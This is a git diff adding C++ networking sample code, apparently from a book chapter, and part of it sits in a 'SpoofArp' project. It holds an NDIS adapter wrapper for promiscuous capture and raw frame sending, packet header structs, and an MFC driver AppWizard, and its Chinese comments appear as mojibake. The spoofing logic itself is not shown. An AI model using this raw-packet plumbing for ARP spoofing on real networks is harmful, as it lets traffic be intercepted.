+BOOL CAdapter::SetFilter(ULONG nFilters) +{ + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA) + ::GlobalAlloc(GPTR, (sizeof(PROTOCOL_OID_DATA) + sizeof(ULONG) - 1)); + + pOidData->Oid = OID_GEN_CURRENT_PACKET_FILTER; + pOidData->Length = sizeof(ULONG); + *((PULONG)pOidData->Data) = nFilters; + + BOOL bRet = ProtoRequest(pOidData, FALSE); + + ::GlobalFree(pOidData); + return bRet; +} + +BOOL CAdapter::ResetAdapter() +{ + DWORD dw; + BOOL bRet = ::DeviceIoControl(m_hAdapter, IOCTL_PROTOCOL_RESET, NULL, 0, NULL, 0, &dw, NULL); + return bRet; +} + +int CAdapter::RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwRead; + if(::ReadFile(m_hAdapter, pBuffer, nLen, &dwRead, lpOverlapped)) + return dwRead; + else + return -1; +} + +int CAdapter::SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwWrite; + if(::WriteFile(m_hAdapter, pBuffer, nLen, &dwWrite, lpOverlapped)) + return dwWrite; + else + return -1; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/protoutils.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/protoutils.h" new file mode 100644 index 0000000..9ebd102 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/protoutils.h" @@ -0,0 +1,66 @@ +//////////////////////////////////////////// +// protoutils.hÎļþ + + + + +#ifndef __PROTOUTILS_H__ +#define __PROTOUTILS_H__ + +#include "nuiouser.h" + +////////////////////////////////////// +// º¯Êý¶¨Òå + +BOOL ProtoStartService(); +void ProtoStopService(); +HANDLE ProtoOpenControlDevice(); + + +////////////////////////////////////// +// CPROTOAdaptersÀ࣬ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ + +#define MAX_ADAPTERS 10 + +class CPROTOAdapters +{ +public: + BOOL EnumAdapters(HANDLE hControlDevice); + + int m_nAdapters; + LPWSTR m_pwszAdapterName[MAX_ADAPTERS]; + LPWSTR m_pwszSymbolicLink[MAX_ADAPTERS]; +protected: + char m_buffer[MAX_ADAPTERS*256]; +}; + +//////////////////////////////////////// +// CAdapterÀ࣬¹ÜÀí°ó¶¨µÄÊÊÅäÆ÷ + +class CAdapter +{ +public: + CAdapter(); + ~CAdapter(); + + // ´ò¿ª¡¢¹Ø±ÕÊÊÅäÆ÷ + BOOL OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn = FALSE); + void CloseAdapter(); + + // ÉèÖùýÂËÊôÐÔ£¬ÈçNDIS_PACKET_TYPE_PROMISCUOUS¡¢NDIS_PACKET_TYPE_DIRECTEDµÈ + BOOL SetFilter(ULONG nFilters); + + // ½ÓÊÕ¡¢·¢ËÍÊý¾Ý + int RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + int SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + + // ÖØÆôϲãNIC¡¢¹ÜÀíOIDÐÅÏ¢ + BOOL ResetAdapter(); + BOOL ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery); + +protected: + HANDLE m_hAdapter; +}; + + +#endif // __PROTOUTILS_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/resource.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/resource.h" new file mode 100644 index 0000000..be02bee --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/resource.h" @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by EnumeHosts.rc + +// жÔÏóµÄÏÂһЩĬÈÏÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard.awx" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard.awx" new file mode 100644 index 0000000..dda0276 Binary files /dev/null and "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard.awx" differ diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Debug.cpp" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Debug.cpp" new file mode 100644 index 0000000..565ffcf --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Debug.cpp" @@ -0,0 +1,80 @@ +#include "stdafx.h" + +#ifdef _PSEUDO_DEBUG // entire file + +#ifdef _PSEUDO_DEBUG +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +LONG AssertBusy = -1; +LONG AssertReallyBusy = -1; + +BOOL AssertFailedLine(LPCSTR lpszFileName, int nLine) +{ + TCHAR szMessage[_MAX_PATH*2]; + + InterlockedDecrement(&AssertReallyBusy); + + // format message into buffer + wsprintf(szMessage, _T("File %hs, Line %d"), + lpszFileName, nLine); + + TCHAR szT[_MAX_PATH*2 + 20]; + wsprintf(szT, _T("Assertion Failed: %s\n"), szMessage); + OutputDebugString(szT); + + if (InterlockedIncrement(&AssertBusy) > 0) + { + InterlockedDecrement(&AssertBusy); + + // assert within assert (examine call stack to determine first one) + DebugBreak(); + return FALSE; + } + + // active popup window for the current thread + HWND hWndParent = GetActiveWindow(); + if (hWndParent != NULL) + hWndParent = GetLastActivePopup(hWndParent); + + // display the assert + int nCode = ::MessageBox(hWndParent, szMessage, _T("Assertion Failed!"), + MB_TASKMODAL|MB_ICONHAND|MB_ABORTRETRYIGNORE|MB_SETFOREGROUND); + + // cleanup + InterlockedDecrement(&AssertBusy); + + if (nCode == IDIGNORE) + return FALSE; // ignore + + if (nCode == IDRETRY) + return TRUE; // will cause DebugBreak + + AfxAbort(); // should not return (but otherwise DebugBreak) + return TRUE; +} + +void Trace(LPCTSTR lpszFormat, ...) +{ + va_list args; + va_start(args, lpszFormat); + + int nBuf; + TCHAR szBuffer[512]; + + nBuf = _vstprintf(szBuffer, lpszFormat, args); + ASSERT(nBuf < (sizeof(szBuffer)/sizeof(szBuffer[0]))); + + CString strMessage; + + if (AfxGetApp() != NULL) + strMessage = ((CString) (AfxGetApp()->m_pszExeName)) + _T(": "); + strMessage += szBuffer; + OutputDebugString(strMessage); + + va_end(args); +} + + +#endif // _PSEUDO_DEBUG diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Debug.h" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Debug.h" new file mode 100644 index 0000000..7061ef5 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Debug.h" @@ -0,0 +1,56 @@ +#if !defined(AFX_DEBUG_H__9D9A3F62_3445_454B_987F_69B222B64928__INCLUDED_) +#define AFX_DEBUG_H__9D9A3F62_3445_454B_987F_69B222B64928__INCLUDED_ + +///////////////////////////////////////////////////////////////////////////// +// Diagnostic support + +#ifdef _PSEUDO_DEBUG + +#undef TRACE +#undef VERIFY +#undef ASSERT +#undef THIS_FILE +#undef TRACE0 +#undef TRACE1 +#undef TRACE2 +#undef TRACE3 + + +// Note: file names are still ANSI strings (filenames rarely need UNICODE) +BOOL AssertFailedLine(LPCSTR lpszFileName, int nLine); + +void Trace(LPCTSTR lpszFormat, ...); + +// by default, debug break is asm int 3, or a call to DebugBreak, or nothing +#if defined(_M_IX86) +#define CustomDebugBreak() _asm { int 3 } +#else +#define CustomDebugBreak() DebugBreak() +#endif + +#define TRACE ::Trace +#define THIS_FILE __FILE__ +#define ASSERT(f) \ + do \ + { \ + if (!(f) && AssertFailedLine(THIS_FILE, __LINE__)) \ + CustomDebugBreak(); \ + } while (0) \ + +#define VERIFY(f) ASSERT(f) + +// The following trace macros are provided for backward compatiblity +// (they also take a fixed number of parameters which provides +// some amount of extra error checking) +#define TRACE0(sz) ::Trace(_T(sz)) +#define TRACE1(sz, p1) ::Trace(_T(sz), p1) +#define TRACE2(sz, p1, p2) ::Trace(_T(sz), p1, p2) +#define TRACE3(sz, p1, p2, p3) ::Trace(_T(sz), p1, p2, p3) + +#endif // !_PSEUDO_DEBUG + + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_DEBUG_H__9D9A3F62_3445_454B_987F_69B222B64928__INCLUDED_) diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.cpp" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.cpp" new file mode 100644 index 0000000..8537601 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.cpp" @@ -0,0 +1,40 @@ +// DriverWizard.cpp : Defines the initialization routines for the DLL. +// + +#include "stdafx.h" +#include +#include "DriverWizard.h" +#include "DriverWizardaw.h" + +#ifdef _PSEUDO_DEBUG +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +static AFX_EXTENSION_MODULE DriverWizardDLL = { NULL, NULL }; + +extern "C" int APIENTRY +DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) +{ + if (dwReason == DLL_PROCESS_ATTACH) + { + TRACE0("DRIVERWIZARD.AWX Initializing!\n"); + + // Extension DLL one-time initialization + AfxInitExtensionModule(DriverWizardDLL, hInstance); + + // Insert this DLL into the resource chain + new CDynLinkLibrary(DriverWizardDLL); + + // Register this custom AppWizard with MFCAPWZ.DLL + SetCustomAppWizClass(&DriverWizardaw); + } + else if (dwReason == DLL_PROCESS_DETACH) + { + TRACE0("DRIVERWIZARD.AWX Terminating!\n"); + + // Terminate the library before destructors are called + AfxTermExtensionModule(DriverWizardDLL); + } + return 1; // ok +} diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.h" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.h" new file mode 100644 index 0000000..dc34b3e --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.h" @@ -0,0 +1,16 @@ +#if !defined(AFX_DRIVERWIZARD_H__1D3CA2BB_759B_4B07_B4F1_D27C79FDA719__INCLUDED_) +#define AFX_DRIVERWIZARD_H__1D3CA2BB_759B_4B07_B4F1_D27C79FDA719__INCLUDED_ + +#ifndef __AFXWIN_H__ + #error include 'stdafx.h' before including this file for PCH +#endif + +#include "resource.h" // main symbols + +// TODO: You may add any other custom AppWizard-wide declarations here. + + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_DRIVERWIZARD_H__1D3CA2BB_759B_4B07_B4F1_D27C79FDA719__INCLUDED_) diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.rc" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.rc" new file mode 100644 index 0000000..1a975c2 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.rc" @@ -0,0 +1,118 @@ +//Microsoft Visual C++ generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "#define _AFX_NO_SPLITTER_RESOURCES\r\n" + "#define _AFX_NO_OLE_RESOURCES\r\n" + "#define _AFX_NO_TRACKER_RESOURCES\r\n" + "#define _AFX_NO_PROPERTY_RESOURCES\r\n" + "#include ""afxres.rc"" // Standard components\r\n" + "\0" +END + +///////////////////////////////////////////////////////////////////////////// +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,1 + PRODUCTVERSION 1,0,0,1 + FILEFLAGSMASK 0x3fL +#ifdef _PSEUDO_DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x4L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904B0" + BEGIN + VALUE "CompanyName", "\0" + VALUE "FileDescription", "DRIVERWIZARD AppWizard\0" + VALUE "FileVersion", "1, 0, 0, 1\0" + VALUE "InternalName", "DRIVERWIZARD\0" + VALUE "LegalCopyright", "Copyright \251 2005\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "DRIVERWIZARD.DLL\0" + VALUE "ProductName", "Driver Wizard\0" + VALUE "ProductVersion", "1, 0, 0, 1\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END + + + + +///////////////////////////////////////////////////////////////////////////// +// +// TEMPLATE +// + +NEWPROJ.INF TEMPLATE DISCARDABLE "template\\newproj.inf" +CONFIRM.INF TEMPLATE DISCARDABLE "template\\confirm.inf" +ROOT.CPP TEMPLATE DISCARDABLE "template\\root.cpp" + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_DRIVERWIZARD ICON DISCARDABLE "res\\DriverWizard.ico" + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.sln" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.sln" new file mode 100644 index 0000000..b4e2b0c --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DriverWizard", "DriverWizard.vcproj", "{00CA75E1-8955-4384-9B3D-0B3AD99D3B8D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Pseudo-Debug|Win32 = Pseudo-Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {00CA75E1-8955-4384-9B3D-0B3AD99D3B8D}.Pseudo-Debug|Win32.ActiveCfg = Pseudo-Debug|Win32 + {00CA75E1-8955-4384-9B3D-0B3AD99D3B8D}.Pseudo-Debug|Win32.Build.0 = Pseudo-Debug|Win32 + {00CA75E1-8955-4384-9B3D-0B3AD99D3B8D}.Release|Win32.ActiveCfg = Release|Win32 + {00CA75E1-8955-4384-9B3D-0B3AD99D3B8D}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.suo" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.suo" new file mode 100644 index 0000000..11bf620 Binary files /dev/null and "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.suo" differ diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.vcproj" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.vcproj" new file mode 100644 index 0000000..885de25 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizard.vcproj" @@ -0,0 +1,434 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizardAw.cpp" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizardAw.cpp" new file mode 100644 index 0000000..22bd78a --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizardAw.cpp" @@ -0,0 +1,161 @@ +// DriverWizardaw.cpp : implementation file +// + +#include "stdafx.h" +#include "DriverWizard.h" +#include "DriverWizardaw.h" + +#ifdef _PSEUDO_DEBUG +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +// This is called immediately after the custom AppWizard is loaded. Initialize +// the state of the custom AppWizard here. +void CDriverWizardAppWiz::InitCustomAppWiz() +{ + // There are no steps in this custom AppWizard. + SetNumberOfSteps(0); +} + +// This is called just before the custom AppWizard is unloaded. +void CDriverWizardAppWiz::ExitCustomAppWiz() +{ + // TODO: Add code here to deallocate resources used by the custom AppWizard +} + +// This is called when the user clicks "Create..." on the New Project dialog +CAppWizStepDlg* CDriverWizardAppWiz::Next(CAppWizStepDlg* pDlg) +{ + return NULL; +} + +void CDriverWizardAppWiz::CustomizeProject(IBuildProject* pProject) +{ + // TODO: Add code here to customize the project. If you don't wish + // to customize project, you may remove this virtual override. + + // This is called immediately after the default Debug and Release + // configurations have been created for each platform. You may customize + // existing configurations on this project by using the methods + // of IBuildProject and IConfiguration such as AddToolSettings, + // RemoveToolSettings, and AddCustomBuildStep. These are documented in + // the Developer Studio object model documentation. + + // WARNING!! IBuildProject and all interfaces you can get from it are OLE + // COM interfaces. You must be careful to release all new interfaces + // you acquire. In accordance with the standard rules of COM, you must + // NOT release pProject, unless you explicitly AddRef it, since pProject + // is passed as an "in" parameter to this function. See the documentation + // on CCustomAppWiz::CustomizeProject for more information. + CComPtr pConfigs; + HRESULT hr=pProject->get_Configurations(&pConfigs); + if(FAILED(hr)) + { + AfxMessageBox("An error occurred while obtaining the IConfigurations interface pointer"); + return; + } + CComPtr pConfig; + CComVariant index; + VARIANT dummy = {0}; + CComBSTR Name; + CString text; + CString output; + + long Count=0; + pConfigs->get_Count(&Count); + + // Iterate through all the configurations of the project + for(int i=1; i <= Count; i++) + { + index=i; + hr=pConfigs->Item(index, &pConfig); + if(FAILED(hr)) + { + AfxMessageBox("An error occurred while obtaining the IConfiguration pointer"); + return; + } + pConfig->get_Name(&Name); + text = Name; + + if (text.Find("Debug") == -1) + output = "Release"; + else + output = "Debug"; + + 